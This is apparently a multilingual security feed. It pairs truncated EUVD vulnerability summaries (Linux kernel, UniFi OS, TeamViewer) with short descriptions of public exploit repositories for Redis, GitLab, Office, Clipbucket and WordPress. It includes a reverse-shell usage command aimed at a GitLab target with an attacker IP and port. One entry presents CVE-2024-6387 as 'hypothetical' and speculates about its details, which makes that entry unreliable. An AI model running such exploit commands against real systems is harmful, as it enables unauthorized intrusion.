EUVD-2026-66459

In the Linux kernel, the following vulnerability has been resolved: s390/zcrypt: Improve EP11 CPRB domain handling with ASN.1 parsing The zcryptmsgtype6sendep11cprb function uses fragile struct overlays to access and modify the domain field in the EP11 CPRB payload, creating maintainability and...

EUVD-2026-66445

In the Linux kernel, the following vulnerability has been resolved: xfs: fix exchange-range reflink flag clearing issue with INO1WRITTEN When exchanging two full-file ranges, xmicanexchangereflinkflags can move the reflink inode flag from the file that currently has it to the other file, as long ...

EUVD-2026-66446

In the Linux kernel, the following vulnerability has been resolved: xfs: avoid UAF on sc-tempip in xreptempfilecreate LOLLM noticed a potential UAF if the tempfile creation code fails after it set sc-tempip. Fix that...

EUVD-2026-66464

In the Linux kernel, the following vulnerability has been resolved: s390/vfioccw: Move cp cleanup out of not operational The fsmnotoper routine is called when the device has been lost, and is by definition no longer operational. Since this can happen asynchronously from the normal behavior of the...

EUVD-2026-66567

In the Linux kernel, the following vulnerability has been resolved: net: ethernet: ti: am65-cpsw-nuss: Fix portid extraction from SRC TAG On the packet reception path, the ID of the MAC Port on which the packet was received, is embedded in the RX DMA Descriptor's metadata. The ID is extracted usi...

EUVD-2026-66572

In the Linux kernel, the following vulnerability has been resolved: veth: fix queue index used to wake the peer txq in vethpoll vethpoll derives the index of the peer TX queue to wake from rq-xdprxq.queueindex. That field is only initialized by xdprxqinforeg in vethenablexdprange, which runs only...

EUVD-2026-66575

In the Linux kernel, the following vulnerability has been resolved: eth: bnxt: avoid deadlock when canceling IRQ affinity notifier Unregistering IRQ affinity notifiers waits for the callback synchronously. bnxt takes the netdev instance lock in the notifier to restart the queue and cancels the wo...

EUVD-2026-66569

In the Linux kernel, the following vulnerability has been resolved: net/sched: clsu32: skip hash tables in u32bindclass u32walk enumerates both struct tcuhnode and struct tcuknode through the walker callback. u32bindclass unconditionally casts the passed fh to tcuknode and accesses &n-res, so whe...

EUVD-2026-66390

A malicious actor with access to the network, low privileges and under certain conditions could exploit an Active Debug Code vulnerability found in certain devices running UniFi OS to escalate privileges within such UniFi OS devices or instances...

EUVD-2026-66379

Improper neutralization of path traversal sequences in TeamViewer Desktop Clients prior Version 15.81.5 allows an authenticated remote session participant to write files to unintended locations on the local file system via file transfer or virtual file clipboard mechanisms. An attacker can levera...

LazyMesh

LazyMesh Система mesh-маршрутизации, которая поддерживает использование прокси OpenDHT в качестве бэкенда, благодаря чему узлы могут связываться напрямую через интернет. Очень ранняя пре-альфа, концепт-прототип, может не работать на деле и т. д. Она предназначена как для любительских/HAM-сценарие...

CVE-2025-46818

CVE-2025-46818 – Redis Lua 沙箱跨用户逃逸 通过 Redis 8.2.1 中已弃用的 Lua API 和可变元表实现沙箱逃逸。 概述 Redis 8.2.1 仍向脚本暴露已弃用的 Lua 内置函数（getfenv、setfenv、newproxy），且未能锁定基本类型的元表。攻击者可以向共享元表中注入方法、捕获特权环境，并以其他用户的权限执行命令。 环境 Redis 服务器 8.2.1（或 8.2.2 之前的任何受影响版本） redis-cli 可本地网络访问 Redis 实例 文件 CVE-2025-46818.lua –...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx Генератор Генерация .docx для эксплуатации CVE-2021-40444 удалённое выполнение кода в Microsoft Office Word 1. Создайте пустой файл .docx. 2. Добавьте объект "Bitmap Iamge" в меню "Inert/Object". Добавление объекта...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Использование root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Благодарности https://hackerone.com/reports/1154542 Фрагмент кода взят отсюда: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Отка...

CVE-2025-46817

CVE-2025-46817 – Redis Lua unpack 整数オーバーフロー（潜在的なRCE） Redis Lua unpack 整数オーバーフローのPoC。8.2.1でスタックの肥大化とクラッシュを引き起こします。 概要 Redis 8.2.1には、符号付き整数を使用して結果数を計算する unpack 実装を備えたLua 5.1が同梱されています。慎重に選択された開始/終了インデックスが算術演算をラップさせ、luacheckstack...

CVE-2026-32321

CVE-2026-32321 CVE-2026-32321 | Clipbucket ブラインドSQLインジェクション...

Nethive-Project

Nethive-Project 제로에서 낮은 지연 시간의 모니터링 시스템 기능 • 설치 • 빠른 시작 • 기여자 • 사용자 가이드 Nethive 프로젝트 는 CVSS 자동 측정을 기반으로 하는 보안 정보 및 이벤트 관리SIEM 인프라를 제공합니다...

Exploit for CVE-2026-19478

CVE-2026-19478 GitLab GraphQL unauthenticated project deletion...

CVE-2024-6387

CVE-2024-6387 CVE-2024-6387 — это гипотетический пример, но давайте предположим, что это реальная уязвимость в реализации сервера OpenSSH. Эта уязвимость может включать переполнение буфера или повреждение памяти, что позволяет удаленным злоумышленникам выполнить произвольный код на сервере. Вот...

CVE-2023-3460

CVE-2023-3460 Ultimate Member WordPress プラグイン 2.6.7 より前のバージョンでは、訪問者が任意の権限を持つユーザーアカウントを作成することを防ぐことができないため、攻撃者は事実上、自由に管理者アカウントを作成できます。このスクリプトは、この脆弱性に対するエクスプロイトを実行し、さまざまなターゲットをスキャンして、この脆弱性を探します。 インストール root@kitploit: git clone https://github.com/diego-tella/CVE-2023-3460/ cd CVE-2023-3460/ python...